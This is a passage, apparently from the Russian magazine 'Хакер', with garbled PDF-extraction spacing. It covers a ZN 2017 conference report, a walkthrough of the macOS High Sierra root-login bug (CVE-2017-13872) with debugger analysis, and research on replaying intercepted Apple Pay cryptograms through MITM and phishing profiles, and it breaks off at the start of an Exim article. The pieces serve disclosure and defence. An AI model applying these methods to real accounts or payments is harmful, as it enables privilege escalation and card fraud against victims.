ницах «Хакера». :)

Web  Village

EXTRA ZONE
От дель ную зону со сво им мини‐залом и собс твен ной прог раммой на оба дня
занима ла «Лабора тория Кас пер ско го», которая рас кры вала сек реты ана лиза
вре донос ного ПО, методов поис ка уяз вимос тей в бинар ном коде прог рамм,
тех ник, при меня емых экспер тами лабора тории при соз дании сво их про дук тов
и  услуг.  Тут  же  мож но  было  чуть‐чуть  рас сла бить ся  и  погонять  фай тинг‐
или  рей синг‐игрушку  на  Xbox  или  прос то,  отда лив шись  от  суеты,  посидеть
в мяг ком крес ле‐подуш ке.

Уют ный уго лок в Extra Zone

CTF-БИТВА
Ук рашени ем  кон ферен ции,  несом ненно,  ста ла    меж ду  луч шими
коман дами,  про шед шими  не  один  отбо роч ный  этап.  Коман ды  сидели
в  отдель ном  зале,  в  котором  сто ял  десяток  сто лов  и  две  огромней шие
панели, где отоб ражал ся текущий рей тинг выпол нения заданий, общее вре мя
и сос тояние ата куемых и защища емых целей. Это было реаль ное рубило во,
ребята не отры вались от монито ров, ста тусы пос тоян но менялись, хотя через
некото рое вре мя опре делил ся стой кий лидер.

CTF‐бит ва

Мес то, где раз верну лась нас тоящая CTF‐бит ва

По  окон чании  дня  пер вые  три  мес та  занима ли  рос сий ские  коман ды,  что,
конеч но,  очень  при ятно.  В  кон це  вто рого  дня  кон ферен ции  перед  церемо‐ 
нией  зак рытия  объ яви ли  финаль ные  ито ги  сорев нования  и  наг радили
победи телей.

При зы победи телям CTF‐сорев нований

ЗАКЛЮЧЕНИЕ
Про шед шая кон ферен ция ZN 2017, без сом нения, ста ла зна ковым событи ем
в  мире  ИБ  и  одним  из  самых  круп ных  и  посеща емых  мероп риятий  в  кон це
текуще го  года.  Орга низа торы  сдер жали  свои  обе щания  —  это  и  новая
атмосфе ра, необыч ный стиль из Old School, и хар дкор ные кон курсы и хакато‐ 
ны,  инте рес ные  док лады,  воз можность  вжи вую  пооб щать ся  со  спи кера ми
и дру гими гос тями. На церемо нии зак рытия сам Илья Мед ведов ский ска зал,
что, по его мне нию, это луч шая ZN за всю ее исто рию и что в этот раз пло‐ 
щад ки  соб рали самое боль шое  за про шед шие семь лет  количес тво  гос тей.
Что же, спа сибо за незабы ваемые впе чат ления, ZN 2017! 

От редак ции: тай ны скром ного авто ра
Статья уже закон чилась, а о сво их под вигах Иван почему‐то решил умол чать.
Но мы мол чать  не  будем!  За  пле чами  авто ра  (а  точ нее,  команд  с  его  учас‐ 
тием)  остался  кон курс  от  Mail.Ru  на  взлом  сей фа  и,  вмес те  с  ребята ми
из Trust, победа над бмвшной элек тро никой.

Ко ман да победи телей, взло мав ших неп риступ ный сейф в кон курсе
от Mail.Ru

Иван и ребята из Trust пос ле оче ред ной победы в кон курсе CarPWN

А вот и ваш покор ный слу га, Иван Пис кунов



В ДВА КЛИКА
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РАЗБИРАЕМ ОПАСНУЮ УЯЗВИМОСТЬ
В MACOS HIGH SIERRA
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ВЗЛОМ

Бук валь но на днях глав ной   инфо сека была опас ная
брешь  в  macOS  10.13.1,  бла года ря  которой  любой  поль‐ 
зователь мог зав ладеть пра вами рута все го в нес коль ко кли‐ 
ков.  Мы  раз берем,  почему  так  про изош ло  и  как  работа ет
уяз вимость.

но востью

ЭКСПЛОИТ
Этот экс пло ит нас толь ко банален и прост, что для начала нам не понадо бит ся
даже тес товый стенд.

Что бы  стать  супер поль зовате лем,  дос таточ но  ввес ти  логин  root  и  любой
пароль. Пос ле нажатия кноп ки «Вой ти» окош ко авто риза ции, конеч но, заер‐ 
зает и сооб щит, что пароль неверен. Но теперь дос таточ но про делать ту же
про цеду ру  еще  раз,  и  ты  —  рут.  Да!  Вот  так  все  прос то.  High  Sierra.  High
Security.

Смеш но  ска зать,  но  на  форуме  для  раз работ чиков  такой  алго ритм
однажды   в качес тве спо соба сбро са забыто го пароля и решения
воз никших проб лем.

пред лагали

Прос той спо соб решения проб лем

Те перь, ког да ты все зна ешь, пора раз бирать ся, почему так выш ло.

СТЕНД
А  вот  сей час  и  вре мя  для  под нятия  стен да.  Так  как  я  нищеб род  и  «мака»
у меня отро дясь не было,  то буду исполь зовать вари ант для бед ных — вир‐ 
туал ку  VMware  с  macOS.  Что бы  «прос то  побало вать ся»,  дос таточ но  будет
и бес плат ного VMware Player, который мож но   с офи циаль ного сай та
ком пании.

заг рузить

Да лее нуж но ска чать образ готовой сис темы, нап ример с сай тов, которые
нель зя  называть,  —  я  думаю,  ты  зна ешь,  о  чем  идет  речь.  Перед  тем
как запус кать вир туаль ную машину, при мени  . Он откры‐ 
вает воз можность для запус ка macOS.

патч VMware Unlocker

Ре комен дую  уста новить  отладчик  lldb  для  путешес твий  по  нед рам  сис‐ 
темы. Прос то набери в кон соли  , и сис тема сама пред ложит тебе вари‐ 
анты уста нов ки при ложе ния.

lldb

Во ору жаем ся отладчи ком lldb

Что бы  отладка  прош ла  без  проб лем,  нам  еще  понадо бит ся  отклю чить  SIP
(System  Integrity  Protection).  Для  это го  перед  заг рузкой  сис темы  дер жи
сочета ние кла виш Command + R (если у тебя вин довая кла виату ра, то Win + R
сра бота ет ана логич но) до тех пор, пока не уви дишь логотип Apple. Пос ле это‐ 
го  сис тема  заг рузит ся  в  Recovery Mode.  Теперь  запус кай  тер минал  и  пиши
в кон соли

csrutil disable

Ре зуль татом  дол жно  быть  сооб щение,  что  SIP  отклю чен.  Перезаг ружай
машину в нор маль ном режиме.

От клю чение System Integrity Protection необ ходимо, что бы иметь воз ‐
можность отладки сис темных при ложе ний

Не лиш не  будет  и  иметь  под  рукой  IDA  для  пот рошения  внут реннос тей
исполня емых фай лов, отве чающих за авто риза цию.

В общем, выдели вир туал ке поболь ше опе ратив ной памяти и запус кай.

Уяз вимая вер сия macOS High Sierra 10.13.1, работа ющая под VMware

ДЕТАЛИ УЯЗВИМОСТИ
Ког да ата кующий попыта ется залоги нить ся от поль зовате ля, который на дан‐ 
ный момент не вклю чен  (как  root,  нап ример),  то сис тема  услужли во соз даст
акка унт  с  тем паролем,  что  ты  ука жешь в поле  «Пароль»  (нап ример,  пус той,
почему нет). То есть окош ко логина по сов мести тель ству слу жит окном уста‐ 
нов ки пароля — очень удоб но. Так как акка унт был изна чаль но не акти виро‐ 
ван, резуль тат «логина» будет неудач ным и пот ребу ется вто рая попыт ка авто‐ 
риза ции, которая уже и ста нет успешной.

Те перь о том, как все это выг лядит на более низ ком уров не. Давай най дем
любое мес то, где мож но ука зать логин и пароль поль зовате ля. Самый прос‐ 
той вари ант — это открыть нас трой ки поль зовате лей и нажать на сим вол зам‐ 
ка  для  вне сения  изме нений.  Тут  же  выс кочит  окош ко  с  тре бова нием  ввес ти
кред сы. Вби ваем в качес тве име ни поль зовате ля root, а в качес тве пароля что
угод но.

Поль зователь  root при сутс тву ет во всех UNIX‐подоб ных сис темах, и mac‐
OS не  исклю чение.  Толь ко  по  умол чанию этот  поль зователь отклю чен. Но  в
наших силах его ожи вить!

Root‐поль зователь име ется и в macOS

На жима ем  на  «Снять  защиту»  и  прис тупа ем  к  увле катель ному  отла доч ному
пути, который начина ется с демона   (

).
opendirectoryd /usr/libexec/opendi‐

rectoryd

При соеди няем ся к про цес су, который отве чает за авто риза цию,
при помощи отладчи ка lldb

Это он перех ватыва ет попыт ку авто риза ции поль зовате ля в сис теме.

Брейк‐пой нт перед вызовом фун кции про вер ки пароля

Де мон  вызыва ет  метод  ,  который  реали зован
в  бан дле  PlistFile.  В  macOS  есть  такое  понятие,  как  bundle  (бандл).  Бандл
пред став ляет  собой  псев дофайл  осо бой  струк туры.  По  сути  это  пап ка,
которая в гра фичес ком интерфей се отоб ража ется как один файл. В час тнос‐ 
ти, при ложе ния — это бан длы. Бандл PlistFile находит ся в 

  и  под гру жает ся  в 
.

odm_RecordVerifyPassword

/System/Library/
OpenDirectory/Modules/PlistFile.bundle opendirec‐
toryd

Бандл PlistFile — это дирек тория со спе циаль ной струк турой

Те перь  мож но  заг рузить  бинар ник 
  в  IDA  и  нем ного

подизас сем бли ровать.

/System/Library/OpenDirectory/Mod‐
ules/PlistFile.bundle/Contents/MacOS/PlistFile

Вы пол нение  метода    начина ется  с  вызова
фун кции без наз вания (в моем слу чае это  ) для чте ния дан ных о том
юзе ре, за которо го мы пыта емся авто ризо вать ся.

odm_RecordVerifyPassword
sub_804C

Ес ли акка унт акти вен, то фун кция успешно получа ет метадан ные о нем. Их
мож но пос мотреть, исполь зуя кон соль ную коман ду dscl.

dscl . ‐read /Users/<имя_юзера>

Прос мотр метадан ных акти виро ван ного поль зовате ля через ути литу dscl

Или  пос мотреть  нап рямую:  они  хра нят ся  в  дво ичных  plist‐фай лах  в  дирек‐ 
тории    в  фор мате 

. Поэто му демон и под гру жает бандл   для чте‐ 
ния и пар синга информа ции из фай лов такого типа.

/private/var/db/dslocal/nodes/Default/users/ <
имя_юзера>.plist PlistFile

Ме тадан ные всех поль зовате лей macOS High Sierra в фор мате plist‐фай ‐
лов

В  пер вую  оче редь  нас  инте ресу ет  параметр  ,
который  ука зыва ет  тип  аутен тифика ции  для  выб ранно го  поль зовате ля.
Для  деак тивиро ван ных  акка унтов  (таких  как  root)  этот  параметр  отсутс тву ет.
Поэто му резуль тат работы метода будет некор рек тным.

AuthenticationAuthority

Прос мотр метадан ных деак тивиро ван ного поль зовате ля root

При  про вер ке    вер нет  некор рек тный  резуль тат.
Пос мотрим на  псев докод  усло вия,  в  котором выпол няет ся  свер ка  этих  дан‐ 
ных.

odm_RecordVerifyPassword

PlistFile.c
6303:       if ( !v15 )
6304:       {
6305:         v19 = odproplist_get_array(a8, kODAttributeTypePassword
);
6306:         if ( v19 || (v14 = CFSTR("passwd"), (v19 = odprop
list_get_array(a8, CFSTR("passwd"))) != 0) )
6307:         {
6308:           v14 = (const __CFString *)v19;
6309:           if ( (unsigned __int8)od_verify_crypt_password(v54, 
v19, v56, &v57, &v59) ) [test al, al]
6310:           {
6311:             if ( qword_29AA0 != ‐1 )
6312:               dispatch_once(&qword_29AA0, &off_27928);
6313:             v20 = qword_29A98;
6314:             if ( (unsigned __int8)os_log_type_enabled(qword_
29A98, 1LL) )
6315:             {
6316:               LOWORD(v32) = 0;
6317:               _os_log_impl(&dword_0, v20, 1LL, aFoundCryptPass,
&v32, 2LL);

6318:               v10 = v53;
6319:             }
6320:             goto LABEL_29;
6321:           }
6322:         }
6323: LABEL_30:

Здесь усло вие перей дет на вет ку  . Далее выпол нение плав но перете кает
в  вызов  фун кции  ,  что бы  све рить  передан ный
пароль  поль зовате ля  и  тот,  что  хра нит ся  в  сис теме.  Ее  парамет ры —  это 
и наб ранный нами пароль.

else
od_verify_crypt_password

*

Па рамет ры, которые переда ются в фун кцию od_verify_crypt_password

Фун кция воз вра щает 1 в регис тре al. Сле дующая инс трук ция как раз его про‐ 
веря ет (стро ка 6309), и выпол нение прог раммы про дол жает ся.

Ре зуль тат работы od_verify_crypt_password в регис тре al

Ди зас сем бли рован ный учас ток кода с вызовом фун кции
od_verify_crypt_password

По луча ется,  пос ле  всех  этих  про верок  сис тема  счи тает,  что  у  поль зовате ля
име ется пароль и для его  хра нения исполь зует ся  уста рев шая  тех ника, а  так
как сис тема заботит ся о нашей безопас ности, то она любез но изме няет тип
его  хра нения  в  сис теме.  То есть обновля ет  на  securetoken или  shadowhash.
Да, в логах  так и запишет ся:  «found crypt password  in user‐record  ‐ upgrading
to shadowhash or securetoken».

До бав ление в лог информа ции об обновле нии пароля

Ин форма ция в жур нале о некор рек тном обра щении к атри бутам поль ‐
зовате ля и обновле нии пароля

Пос ле  это го  никаких  допол нитель ных  валида ций  передан ного  пароля  нет,
метод для обновле ния прос то вызыва ется с нашим паролем в качес тве аргу‐ 
мен та, и в сис теме для root отны не исполь зует ся наш пасс.

Вы зов фун кции обновле ния пароля поль зовате ля

Те перь мы можем  спо кой но  авто ризо вать ся  и  гулять  с  пра вами  супер поль‐ 
зовате ля. Изи мани.

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Вот такой прос тень кий, но очень опас ный баг обна ружил ся в одном из глав‐ 
ных про дук тов самой дорогой ком пании в мире. Куда смот рели тес тиров щики
и прог раммис ты, не сов сем понят но. Уяз вимость, конеч но, спеш но запат чили
и напуга ли всех выпада ющим око шеч ком: мол, перезаг рузитесь ско рее, ина‐ 
че край.

Та кие экс трен ные обновле ния — ред кость, и выпус кают их толь ко по слу‐ 
чаю обна руже ния  осо бо  опас ных  багов. В  прош лый  раз  апдейт  такого  типа
при ходил в 2014 году — в свя зи с  .уяз вимостью в ntpd

Рас смот ренный  нами  баг  получил  номер CVE‐2017‐13872  и    «a
logic error... in the validation of credentials».

опи сание

В  допол нение  пред ста вите ли  Apple  изви нились  и    навес ти
порядок  и  избе жать  таких  про колов  в  будущем.  Но  все го  через  пару  дней

:  ока залось,  что  поль зовате ли,  которые
не  успе ли  обно вить  сис тему  до  вер сии  10.13.1  и  обно вили  ее  уже  пос ле
выхода экс трен ного пат ча, сно ва получи ли уяз вимость.

по обе щали

вскры лась  новая  неп рият ность

В общем, все это длит ся уже неп рилич но дол го и наносит замет ный ущерб
репута ции  ком пании,  осо бен но  если  учи тывать,  что  это  уже  не  пер вый  баг
в этом году. В сен тябре обна ружи лась дру гая нелепая ошиб ка, из‐за которой
при  работе  с  томами  APFS  пароль  .  Похоже,
теперь  в  коман де  безопас ности  гря дут  боль шие  кад ровые  перес танов ки.
Но поможет ли это решить проб лему сис темно?

вы водил ся  откры тым  тек стом
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ВЗЛОМ

За дача пла теж ной сис темы — спи сать нуж ную сум му в поль‐ 
зу про дав ца со сче та вер ное чис ло раз. Но ата кующий может
перех ватить  пла теж ные  дан ные  поль зовате ля  во  вре мя
покуп ки  и  поз же  «пов торить»  их  еще  раз,  спи сывая  сум му
сно ва,  без  ведома  поль зовате ля.  Apple  Pay  исполь зует  ряд
методов  про тиво дей ствия  таким  ата кам,  но  некото рые
недос татки ее реали зации потен циаль но оставля ют лазей ки
для зло упот ребле ний и мошен ничес тва.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

В 2016  году самым популяр ным воп росом  ко мне  как  экспер ту  по безопас‐ 
ности  бан ков ских  сис тем  был  воп рос  о  безопас ности  бес контак тных  пла‐ 
тежей. Сна чала воп росы касались  , затем — Apple Pay, Sam‐
sung  Pay,  Android  Pay.  Увы,  готовых  отве тов  на  них  у  меня  не  было,  и  мне
самому  при ходи лось  «спра шивать  интернет».  Самые  популяр ные  на  тот
момент  статьи  опи сыва ли  Apple  Pay  как  «самую  защищен ную  тех нологию»,
в том чис ле и на устрой ствах с джей лбрей ком.

PayPass, payWave

Джей лбрей кну тые устрой ства не счи тают ся security flaw

И  единс твен ная  проб лема  была  свя зана  с  кар точным  мошен ничес твом  —
ког да  уже  укра ден ные  кар ты  исполь зовались  мошен никами  в  Apple  Pay
для совер шения пла тежей.

При перех вате дан ных карт ком про мета ция все же воз можна

«Как  же  так?  Ведь  сам  пос тулат  о  хорошей  защищен ности  Apple  Pay  даже
на  устрой ствах,  под вер гших ся  джей лбрей ку,  по  сути  абсурден:  кибер прес‐ 
тупник  всег да  может  перех ватить  номер  кар ты  в  момент  ее  добав ления
на устрой ство (и в этом, кста ти, я ока зал ся прак тичес ки  ). Это явно тема
для иссле дова ния», — подумал я. Поч ти одновре мен но с этим выш ло 

 об ата ках на  токены Samsung Pay,  что и под‐ 
вигло меня скон цен три ровать ся на Apple Pay.

прав
ис сле‐ 

дова ние Саль вадора Мен дозы

INFO

Кста ти,  меж ду  Apple  Pay  и  Samsung  Pay  есть
сущес твен ная  раз ница:  Samsung  Pay  не  дает
поль зовате лям работать на взло ман ных (рутован‐ 
ных)  устрой ствах,  что  нес коль ко  огра ничи вает
воз можнос ти ата кующе го.

В  ито ге  иссле дова ния  в  области  безопас ности  при ложе ний  (web‐,  mobile‐
и дру гих) при вели меня и к изу чению  , а вот резуль тат ока зал ся
нес коль ко неожи дан ным.

Apple Pay JS

ТЕОРИЯ
Воз можность исполь зовать Apple Pay на веб‐сай тах и в при ложе ниях появи‐ 
лась в iOS 10. С точ ки зре ния поль зовате ля, все работа ет поч ти точ но так же,
как  и  при  опла те  в  магази нах:  при  нажатии  кноп ки  «Опла тить  с  Apple  Pay»
появ ляет ся Payment Sheet — штор ка с дан ными о том, что и как поль зователь
опла чива ет,  куда  товар  дос тавлять  (если  это  при мени мо,  как  в  слу чае
с интернет‐магази нами), Billing address и  так далее. Поль зовате лю оста ется
лишь под твер дить опе рацию с помощью отпе чат ка паль ца (Touch ID) или PIN‐
кода (пос ле нес коль ких невер ных вво дов Touch ID).

Payment Sheet хорошо известен поль зовате лям iOS

Да лее дан ные шиф руют ся/под писыва ются с помощью крип токлю чей покупа‐ 
теля  на  Secure  Element  телефо на  и  крип токлю чей  магази на  (мер чанта)
на сер верах Apple.

INFO

Secure Element — мик ропро цес сор, схо жий с тем,
что исполь зует ся в плас тиковых кар тах, отве чает
за безопас ное хра нение и выпол нение пла теж ных
опе раций.

Да лее на сер вер мер чанта или сра зу на Payment Gateway посыла ется  крип‐ 
тограм ма (cryptogram) — зашиф рован ная информа ция о сум ме, вир туаль ной
кар те Apple Pay  (токен), иден тифика тор пла тежа, а  так же onlinePaymentCryp‐
togram — ана лог под писи с помощью 3‐D Secure. Так как эти дан ные — ана‐ 
лог  пред став ления  кода  3‐D  Secure,  то  и  совер шить  пла теж  по  ним  мож но
толь ко один раз. Ну и кро ме того, Apple заботит ся о про тиво дей ствии ата кам
пов тора (Replay Attack).

Опи сание фор мата пла теж ного токена

WWW

Пол ный  референс  по  shape’у  пла теж ного  токена
от Apple

ПРАКТИКА
Фей ковые дан ные и Race Condition
Вни матель ное  изу чение  пла теж ного  про цес са  на  раз ных  сай тах  и  при ложе‐ 
ниях, исполь зующих Apple Pay ( ), выяви ло, что:пол ный спи сок

ад рес дос тавки и пла теж ный адрес никак не про веря ются на целос тность;•
при под делке сум мы с помощью ата ки типа man  in  the middle при вызове
Payment  Sheet  часть  пла теж ных  шлю зов  сни мает  сум му,  отправ ляемую
самим магази ном  (акту аль ную  сто имость  услуг),  а  часть —  сум му,  отоб‐ 
ражен ную и под писан ную кли ентом (хра нящу юся в cryptogram);

•

один  пла теж  мож но  пов торить  нес коль ко  раз,  вос поль зовав шись  Race
Condition — недос татком сис темы, в резуль тате которо го одна тран закция
может быть про веде на нес коль ко раз, что при ведет к неод нократ ному сня‐ 
тию денег.

•

Ад рес дос тавки из Payment Sheet, переда ющий ся без каких‐либо про ‐
верок

Под делка сум мы опе рации с помощью ата ки man in the middle

Этот  недос таток,  име ющий ся,  нап ример,  в  пла теж ном  про цес се
интернет‐магази на, поз волит зло умыш ленни ку, перех ватив шему крип тограм‐ 
му при опла те условно го чай ника сто имостью 10 дол ларов, который дол жен
быть  дос тавлен  по  адре су  А,  исполь зовать  эту  крип тограм му  для  опла ты
условно го  телеви зора  сто имостью  100  дол ларов,  который  будет  дос тавлен
по адре су В.

Ис поль зование Race Condition для заказа товара нес коль ко раз по адре ‐
су, отли чающе муся от ори гиналь ного

Бес плат ные поез дки
Ког да  речь  идет  об  изме нени ях  сумм  в  про цес се  опла ты,  на  ум  при ходят
онлайн‐сер висы так си и их без налич ная опла та, как один из самых оче вид ных
сце нари ев. Боль шинс тво таких при ложе ний не рас счи тыва ют конеч ную сум му
пла тежа  на  момент  заказа,  а  про водят  опла ту  по  фак ту  на  момент  завер‐ 
шения  мар шру та.  И  при  этом  мно жес тво  при ложе ний  под держи вают  Apple
Pay — казалось бы, налицо некото рое несо ответс твие.

В реаль нос ти же все ока зыва ется прос то: кли ент под твержда ет опе рацию
на минималь ную сум му (которая так же может быть сня та и в слу чае слиш ком
поз дней  отме ны  так си)  или  на  так  называ емую  Pending  Amount  —  режим,
который явно ука зыва ет кли енту, что сум ма к опла те будет рас счи тана поз же.

Я,  так  сло жилось,  чаще исполь зую при ложе ние Uber,  которое под держи‐ 
вает  Apple  Pay,  поэто му  оно‐то  и  ста ло  самым  пер вым  вари антом  для  тес‐ 
тирова ния. К нес частью для кли ентов (но к боль шому удобс тву гипоте тичес‐ 
кого  зло умыш ленни ка),  это  при ложе ние не  защища ет  свои SSL‐соеди нения
с  помощью SSL Pinning  (тре бующе го  исполь зовать  сер тификат  кон крет ного
сай та, заложен ный в саму логику при ложе ния), так что дос туп к SSL‐тра фику я
получил быс тро.

При мер перех вачен ного зап роса и отве та об успешном заказе так си

Но самым уди витель ным ока залось то, что 

.

пе рех вачен ная крип тограм ма

поз воляла заказать так си прос тым пов тором это го же самого зап- 

роса

Я  даже  решил  было,  что  прос то  отме нил  опе рацию,  не  опла тив,  или  что
исполь зовал одну и ту же учет ную запись. Поэто му приш лось про вес ти экспе‐ 
римент  пов торно  и  в  более  реаль ных  усло виях  —  пару  раз  про ехать ся
по городу на так си до бли жай шего супер марке та уже под дру гой сво ей учет‐ 
ной  записью,  к  которой  Apple  Pay  даже  не  был  под клю чен.  И  в  ито ге  ока‐ 
залось,  что  я  не  ошиб ся,  —  перех вачен ную  крип тограм му  мож но  исполь‐ 
зовать:

про изволь ное  чис ло  раз  (перех ватив  ее  с  одно го  телефо на  еди нож ды,
мне за день уда лось заказать так си триж ды с дру гого телефо на и триж ды
про вес ти  пла теж  по  этой  крип тограм ме,  а  раз  уда лось  мне,  то  и  у  зло‐ 
умыш ленни ка есть такая же воз можность);

•

с любой учет ной записи (разуме ется, ни одно из при ложе ний не при вязы‐ 
вает cryptogram к сес сии поль зовате ля, это уже был бы перебор), что дает
воз можность  зло умыш ленни ку  вос поль зовать ся  крип тограм мой со сво ей
учет ной записи;

•

для  опла ты  на  про изволь ные  сум мы  (это  тоже  фун кци ональ ность  by  de‐
sign — ник то же не зна ет, на сколь ко ты наез дишь в сво ем так си по проб‐ 
кам).

•

Об обна ружен ных нюан сах работы при ложе ния, конеч но же, была изве щена
коман да Bug Bounty ком пании Uber, и она не пос читала необ ходимым приз‐ 
навать, что есть какая‐либо проб лема, помимо отсутс твия в при ложе нии SSL
Pinning для защиты от перех вата.

Ре акция ком пании Uber

РЕАЛЬНАЯ АТАКА
Но  даже  с  опи сан ными  усло виями  ата ковать  свой  собс твен ный  телефон
и свою собс твен ную кар ту — край не нереле ван тно. Что нуж но, что бы похитить
и  исполь зовать  чью‐то  чужую  крип тограм му?  Самое  глав ное —  иметь  воз‐ 
можность  перех ватить  зап рос  от  кли ента  к  сер веру  Uber.  Для  это го  ата‐ 
кующий  дол жен  под клю чить ся  к  той  же  пуб личной  сети Wi‐Fi,  что  и  жер тва,
и про вес ти ата ку man  in  the middle. Еще один вари ант — исполь зовать под‐ 
дель ную точ ку дос тупа (Wi‐Fi), нап ример сов мес тно с  .MANA toolkit

А  далее  нуж но  вынудить  поль зовате ля  уста новить  хакер ский  про филь,
для  чего  нев ниматель ному  поль зовате лю  «под став ляют ся»  все воз можные
фишин говые стра ницы.

Фи шин говая стра ница для уста нов ки про филя

За тем зло умыш ленни ку необ ходимо заб локиро вать вхо дящий тра фик от сер‐ 
веров Apple для  того,  что бы  кли ент не получил опо веще ние о совер шённой
мошен ничес кой  опе рации  и  не  заб локиро вал  кар ту.  Одна ко  это  сра бота ет
толь ко в  том слу чае, если  к  кар те не под клю чены SMS‐опо веще ния об опе‐ 
раци ях,  ина че жер тва  сра зу же получит опо веще ние на  iOS о  совер шённом
в Apple Pay пла теже.

INFO

К  сло ву,  ком пания  Apple  понима ет  необ‐ 
ходимость  защиты  от  уста нов ки  про изволь ных
про филей,  поэто му  с  iOS  10.3  жер тву  еще  при‐ 
дет ся  вынудить  явно    это му  про‐ 
филю на дос туп к SSL‐тра фику.

за дать  пра ва

Так же для рас простра нения про филей может исполь зовать ся недав но обна‐ 
ружен ная   в чипах iOS (которая, прав да, исправ лена в iOS 10.3.3).уяз вимость

КТО УЯЗВИМ?
И все бы было ничего, если б вся наша беседа мог ла свес тись к одной час‐ 
тной исто рии одно го отдель но взя того при ложе ния.

На  деле  же,  про верив  с  десяток  слу чай ных  при ложе ний  и  веб‐сай тов
из спис ка исполь зующих Apple Pay, я выяс нил, что речь идет об общей ситу‐ 
ации.  Шесть  из  десяти  иссле дован ных  при ложе ний  не  све ряли  акту аль ную
сум му  с  сум мой,  под писан ной  кли ентом  (и  речь  идет  о  покуп ках
в  интернет‐магази нах,  ког да  сум ма  с  уче том  дос тавки  извес тна  заранее
и  изме нить ся  ну  никак  не  может),  четыре  оставших ся  либо  не  давали  воз‐ 
можнос ти манипу лиро вать сум мой вов се, либо сни мали сум му, реаль но под‐ 
писан ную кли ентом (нап ример, 0,01 дол лара).

Это  озна чает,  что  в  шес ти  слу чаях  из  десяти,  получив  дос туп  к  тра фику
кли ента,  зло умыш ленник  может  исполь зовать  перех вачен ные  дан ные
об  опла те  для  опла ты  сво его  собс твен ного  заказа  на  про изволь ную  сум му.
Единс твен ное,  что  ему  при дет ся  сде лать,  —  перех ватить  и  сбро сить  ори‐ 
гиналь ный зап рос на покуп ку. При этом в четырех при ложе ниях из этих шес ти
даже и это го делать не при дет ся — они уяз вимы к Race Condition или к Replay
Attack.  В  пер вом  слу чае  зло умыш ленни ку  необ ходимо  отпра вить  зап рос
с крип тограм мой для опла ты сво его собс твен ного заказа в очень малый про‐ 
межу ток вре мени вмес те с ори гиналь ным заказом жер твы (речь идет о мил‐ 
лисекун дах,  делать  это  необ ходимо  с  помощью  кон курен тных  HTTP‐зап‐ 
росов), во вто ром же слу чае никако го огра ниче ния на вре мя совер шения вто‐ 
рого заказа нет.

Рас пре деле ние уяз вимос тей в про тес тирован ных популяр ных при ложе ‐
ниях

Ну  и  конеч но же,  сто ит  еще раз  отме тить,  что  адрес дос тавки  товара  никак
не про веря ется на под делку. То есть перех вачен ную у жер твы крип тограм му
мож но исполь зовать для опла ты про изволь ного  товара,  который будет дос‐ 
тавлен  на  совер шенно  чужой  адрес.  Не  говоря  уже  о  вир туаль ных  товарах
(опла та так си, интернет‐услуг и так далее).

Ко неч но  же,  кли ент  дос таточ но  быс тро  получит  опо веще ние  о  лиш ней
опе рации,  которую  он  не  про водил,  и  смо жет  ее  опро тес товать  (если
не будет доказа на его вина,  как, нап ример, при самос тоятель ной уста нов ке
хакер ско го про филя). Одна ко тут есть нюан сы.

Во‐пер вых, в слу чае Replay Attack зло умыш ленник может про вес ти опла ту
в «неудоб ное» вре мя (нап ример, ночью или ког да телефон жер твы отклю чен)
или  вре мен но  отклю чить  опо веще ния  Apple  Pay  о  совер шённых  опе раци ях.
А во‐вто рых, ког да раз говор идет о вир туаль ных услу гах, зло умыш ленник уже
ее  получит,  и  пла тить  за  нее  все  рав но  кому‐то  при дет ся  (и  это  явно  будет
не  ата кующий).  При  этом  дан ная  проб лема  была  под твержде на  у  четырех
раз ных карт четырех раз ных бан ков (ведь один и тот же Transaction  ID может
быть  подоз ритель ным  для  сис темы  бан ков ско го  антифро да,  и  опе рация
может  быть  отме нена  на  сто роне  бан ка‐эми тен та).  Подоб ная  ата ка  уже
извес тна в мире пла теж ных карт, толь ко цель ее была обратной — вынудить
магазин  про дать  тебе  товар  на  100 дол ларов,  зап латив  все го  10  дол ларов.
Но алго ритм остался при мер но таким же — под мена сум мы опе рации в про‐ 
цес се меж банков ско го вза имо дей ствия.

Apple тут и вправ ду ни при чем — они пре дос тавили учас тни кам про цес са
плат форму,  выдали  рекомен дации  по  безопас ности.  Сто ит  отме тить,  что
несо ответс твие  сум мы  сня тия  и  сум мы,  отоб ража емой  кли енту, —  это  тоже
дос таточ но  рас простра нен ное  и  легитим ное  явле ние  даже  в  мире  обыч ных
плас тиковых карт и офлайн‐покупок.

Те перь  за  мошен ничес тво  (а  если  количес тво  кли ентов  и  магази нов,
исполь зующих  Apple  Pay  в  при ложе ниях,  уве личит ся,  то  его  не  избе жать)
кто‐то дол жен будет зап латить. Это будет:

кли ент,  чьи дан ные были ском про мети рова ны с  помощью методик  соци‐ 
аль ной инже нерии;

•

ли бо про давец или пла теж ный шлюз, которые не про веря ют пос тупа ющие
дан ные  на  воз можные Replay  / Race Condition  ата ки  или  под мену  сум мы
опе рации;

•

ли бо банк‐эми тент,  который допус тил сня тие денег по одно му и  тому же
Transaction ID.

•

КАК ЗАЩИТИТЬСЯ?
Мы рекомен дуем всем учас тни кам пла теж ного про цес са (магазин, пла теж ный
шлюз,  банк —  эми тент  кар ты,  под держи вающей  Apple  Pay)  све рять  дан ные
от кли ента с дан ными внут ри под писан ной крип тограм мы (вре мя, сум ма опе‐ 
рации, иден тифика тор тран закции и про чее).

Тем,  кто  исполь зует  Apple  Pay,  не  сто ит  про водить  опе рации  через  пуб‐ 
личный Wi‐Fi и на телефо нах, под вер гших ся джей лбрей ку. Пра виль ным ходом
будет  уста новить  лимиты  на  бан ков ские  кар ты  и  обя затель но  под клю чить
SMS‐опо веще ние о совер шённых опе раци ях.

WWW

Пре зен тация с BH2017 об уяз вимос тях Apple Pay
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ВЗЛОМ

В    на  сегод няшний  день  поч товом  сер‐ 
вере Exim был обна ружен опас ный баг: если отпра вить спе‐ 
циаль но  сфор мирован ное  сооб щение,  то  потен циаль но
мож но  выпол нить  про изволь ный  код  на  целевой  сис теме.
Как  это  работа ет  и  как  этим  вос поль зовать ся,  что бы
получить кон троль над сер вером? Давай раз берем ся.

са мом  популяр ном

Баг был   иссле дова телем под ником Meh из тай вань ской ком пании
Devcore.  Проб лема  свя зана  с  некор рек тной  реали заци ей  логики  работы
при  отправ ке  писем  час тями  (чан ками).  В  резуль тате  отправ ки  спе циаль но
